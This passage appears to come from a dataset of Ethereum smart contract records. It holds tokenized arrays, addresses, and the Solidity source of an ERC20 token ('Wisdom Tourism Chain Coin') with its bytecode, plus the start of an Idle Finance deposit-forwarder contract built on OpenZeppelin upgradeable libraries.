[ 101, 1014, 2595, 2683, 19841, 2581, 2683, 2509, 12879, 2620, 2475, 15878, 2692, 22407, 5243, 2581, 2050, 2683, 18939, 21084, 2278, 17788, 16086, 2497, 2575, 24434, 2094, 28311, 2683, 2063, 21486, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,585
0x9707bf953563580fcf6847ab6a8dc42abcf98b14
pragma solidity ^0.4.21; // File: contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } // File: contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract TFTOKEN is StandardToken, Ownable { // Constants string public constant name = "Wisdom Tourism Chain Coin"; string public constant symbol = "WTCC"; uint8 public constant decimals = 4; uint256 public constant INITIAL_SUPPLY = 100000000 * (10 ** uint256(decimals)); mapping(address => bool) touched; function TFTOKEN() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } function _transfer(address _from, address _to, uint _value) internal { require (balances[_from] >= _value); // Check if the sender has enough require (balances[_to] + _value > balances[_to]); // Check for overflows balances[_from] = balances[_from].sub(_value); // Subtract from the sender balances[_to] = balances[_to].add(_value); // Add the same to the recipient emit Transfer(_from, _to, _value); } function safeWithdrawal(uint _value ) onlyOwner public { if (_value == 0) owner.transfer(address(this).balance); else owner.transfer(_value); } }
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc5780632ff2e9dc14610275578063313ce5671461029e5780635f56b6fe146102cd57806366188463146102f057806370a082311461034a578063715018a6146103975780638da5cb5b146103ac57806395d89b4114610401578063a9059cbb1461048f578063d73dd623146104e9578063dd62ed3e14610543578063f2fde38b146105af575b600080fd5b34156100f657600080fd5b6100fe6105e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610621565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610713565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061071d565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610ad7565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102b1610ae8565b604051808260ff1660ff16815260200191505060405180910390f35b34156102d857600080fd5b6102ee6004808035906020019091905050610aed565b005b34156102fb57600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c36565b604051808215151515815260200191505060405180910390f35b341561035557600080fd5b610381600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b6040518082815260200191505060405180910390f35b34156103a257600080fd5b6103aa610f0f565b005b34156103b757600080fd5b6103bf611014565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561040c57600080fd5b61041461103a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610454578082015181840152602081019050610439565b50505050905090810190601f1680156104815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561049a57600080fd5b6104cf600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611073565b604051808215151515815260200191505060405180910390f35b34156104f457600080fd5b610529600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611292565b604051808215151515815260200191505060405180910390f35b341561054e57600080fd5b610599600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061148e565b6040518082815260200191505060405180910390f35b34156105ba57600080fd5b6105e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611515565b005b6040805190810160405280601981526020017f576973646f6d20546f757269736d20436861696e20436f696e0000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561075a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107a757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561083257600080fd5b610883826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610916826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460ff16600a0a6305f5e1000281565b600481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4957600080fd5b6000811415610bd057600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610bcb57600080fd5b610c33565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610c3257600080fd5b5b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d47576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ddb565b610d5a838261166d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6b57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f575443430000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110b057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110fd57600080fd5b61114e826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061132382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156115ad57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561167b57fe5b818303905092915050565b6000818301905082811015151561169957fe5b809050929150505600a165627a7a723058202bf25f3dbf9b6e6ab57efd6bd9deffc4501e7cbc9fd1276432d50ecbf6756bfd0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 19841, 2581, 29292, 2683, 22275, 26976, 19481, 17914, 11329, 2546, 2575, 2620, 22610, 7875, 2575, 2050, 2620, 16409, 20958, 7875, 2278, 2546, 2683, 2620, 2497, 16932, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2538, 1025, 1013, 1013, 5371, 1024, 8311, 1013, 6095, 1013, 2219, 3085, 1012, 14017, 1013, 1008, 1008, 1008, 1030, 2516, 2219, 3085, 1008, 1030, 16475, 1996, 2219, 3085, 3206, 2038, 2019, 3954, 4769, 1010, 1998, 3640, 3937, 20104, 2491, 1008, 4972, 1010, 2023, 21934, 24759, 14144, 1996, 7375, 1997, 1000, 5310, 6656, 2015, 1000, 1012, 1008, 1013, 3206, 2219, 3085, 1063, 4769, 2270, 3954, 1025, 2724, 6095, 7389, 23709, 11788, 1006, 4769, 25331, 3025, 12384, 2121, 1007, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 25331, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,586
0x9707cB558Bd61077Fb2089accD16313b0E6a7C61
// SPDX-License-Identifier:MIT pragma solidity ^0.6.2; import "./BaseRelayRecipient.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "./interfaces/IIdleTokenV3_1.sol"; import "./interfaces/IERC20Permit.sol"; contract IdleDepositForwarder is BaseRelayRecipient, Initializable, OwnableUpgradeable, PausableUpgradeable { using SafeERC20Upgradeable for IERC20Upgradeable; using SafeMathUpgradeable for uint256; string public override versionRecipient; address public idleToken; address public underlying; function initialize(address _trustedForwarder, address _idleToken) public initializer { versionRecipient = "2.0.0-alpha.1+opengsn.test.recipient"; trustedForwarder = _trustedForwarder; OwnableUpgradeable.__Ownable_init(); PausableUpgradeable.__Pausable_init(); idleToken = _idleToken; underlying = IIdleTokenV3_1(idleToken).token(); IERC20Upgradeable(underlying).safeApprove(idleToken, uint256(-1)); } function setBiconomyConfig(string memory _versionRecipient, address _trustedForwarder) public onlyOwner { versionRecipient = _versionRecipient; trustedForwarder = _trustedForwarder; } function permitAndDeposit(uint256 amount, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s) external whenNotPaused { // the original sender, sent by the trusted forwarder address sender = _forwardedMsgSender(); IERC20Permit(underlying).permit(sender, address(this), nonce, expiry, true, v, r, s); deposit(sender, amount); } function permitEIP2612AndDeposit(uint256 amount, uint256 expiry, uint8 v, bytes32 r, bytes32 s) external whenNotPaused { // the original sender, sent by the trusted forwarder address sender = _forwardedMsgSender(); IERC20Permit(underlying).permit(sender, address(this), amount, expiry, v, r, s); deposit(sender, amount); } function deposit(address sender, uint256 amount) internal { IERC20Upgradeable(underlying).safeTransferFrom(sender, address(this), amount); uint256 minted = IIdleTokenV3_1(idleToken).mintIdleToken(amount, true, address(0)); IERC20Upgradeable(idleToken).safeTransfer(sender, minted); } function emergencyWithdrawToken(address _token, address _to) external onlyOwner { IERC20Upgradeable(_token).safeTransfer(_to, IERC20Upgradeable(_token).balanceOf(address(this))); } function pause() external onlyOwner { _pause(); } } // SPDX-License-Identifier:MIT pragma solidity ^0.6.2; import "./interfaces/IRelayRecipient.sol"; /** * A base contract to be inherited by any contract that want to receive relayed transactions * A subclass must use "_msgSender()" instead of "msg.sender" */ abstract contract BaseRelayRecipient is IRelayRecipient { /* * Forwarder singleton we accept calls from */ address public trustedForwarder; /* * require a function to be called through GSN only */ modifier trustedForwarderOnly() { require(msg.sender == address(trustedForwarder), "Function can only be called through the trusted Forwarder"); _; } function isTrustedForwarder(address forwarder) public override view returns(bool) { return forwarder == trustedForwarder; } /** * return the sender of this call. * if the call came through our trusted forwarder, return the original sender. * otherwise, return `msg.sender`. * should be used in the contract anywhere instead of msg.sender */ function _forwardedMsgSender() internal virtual view returns (address payable ret) { if (msg.data.length >= 24 && isTrustedForwarder(msg.sender)) { // At this point we know that the sender is a trusted forwarder, // so we trust that the last bytes of msg.data are the verified sender address. // extract sender address from the end of msg.data assembly { ret := shr(96,calldataload(sub(calldatasize(),20))) } } else { return msg.sender; } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, 